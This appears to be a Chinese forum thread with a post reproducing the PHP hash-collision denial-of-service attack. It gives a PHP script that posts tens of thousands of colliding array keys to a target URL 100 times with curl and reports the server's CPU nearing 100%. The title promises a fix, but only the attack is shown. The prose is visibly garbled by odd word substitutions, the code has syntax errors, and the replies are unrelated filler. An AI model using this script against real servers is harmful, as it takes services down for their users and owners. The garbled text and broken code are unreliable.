仓酷云

标题: 给大家带来PHP Hash抵触招致 CPU 100%的完整办理*** [打印本页]

作者: 活着的死人    时间: 2015-1-14 20:30
标题: 给大家带来PHP Hash抵触招致 CPU 100%的完整办理***
如果您觉得本篇CentOSLinux教程讲得好,请记得点击右边漂浮的分享程序,把好文章分享给你的好朋友们!我们在这台web办事器上编写一个PHP步伐,目标是要测试机往Hash它,以便妨碍重现。
步伐言语以下:


1
2
3
<!--?php
echo$showtime=date("Y-m-dH:i:s");
?-->




实行后的效果是取以后办事器的工夫。



找台有PHP情况的测试呆板,这台呆板我用假造机,内里有LAMP情况。进/usr/local/apache/htdocs目次,写一PHP网页,步伐言语以下:
[root@bloghtdocs]#Vihash.php

本人用的时分要把正文往失落!C―要自行删除不然不克不及运转
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!--?php
$size=pow(2,16);
$data=;
for($key=0,$maxKey=($size-1)*$size;$key<=$maxKey;$key+=$size){
$data.=$key.=&;
}
$url=http://www.liu***xx.com/checktime.php;
$rs=array();
$ch=curl_init();
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
for($i=0;$i<100;++$i)
{
curl_exec($ch);
}
curl_close($ch);
?-->



url地点,为你要作测试的方针机,i<100,暗示最多100个并发。手工实行hash.php,举行hash碰撞。
[root@bloghtdocs]#/usr/local/php/bin/phphash.php
在web办事器端,我们往看办事器的资本使用情形,CPU是97.6%,看模样单台假造机,拿100并发往Hash,就充足把web办事器的CPU使用率升至100%。


欢迎大家来到仓酷云论坛!
作者: 活着的死人    时间: 2015-1-15 19:45
标题: 给大家带来PHP Hash抵触招致 CPU 100%的完整办理***
甚至目前许多应用软件都是基于它的。可是没有哪一个系统是十分完美的。
作者: 海妖    时间: 2015-1-18 09:14
未来的学习之路将是以指数增加的方式增长的。从网管员来说,命令行实际上就是规则,它总是有效的,同时也是灵活的。
作者: 简单生活    时间: 2015-1-27 07:31
我想即使Linux高手也很难快速准确精练的回答你。
作者: 透明    时间: 2015-2-5 11:45
写学习日记,这是学习历程的见证,同时我坚持认为是增强学习信念的法宝。
作者: 变相怪杰    时间: 2015-2-11 20:27
得到到草率的回答或者根本得不到任何Linux答案。越表现出在寻求帮助前为解决问题付出的努力,你越能得到实质性的帮助。
作者: 深爱那片海    时间: 2015-3-2 19:43
感谢老师和同学们在学习上对我的帮助。
作者: 柔情似水    时间: 2015-3-11 07:59
放手去搞。尽量不要提问,运用搜索找答案,或者看wiki,从原理上理解操作系统的本质,而不是满足于使用几个技巧。尽量看英文资料。




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2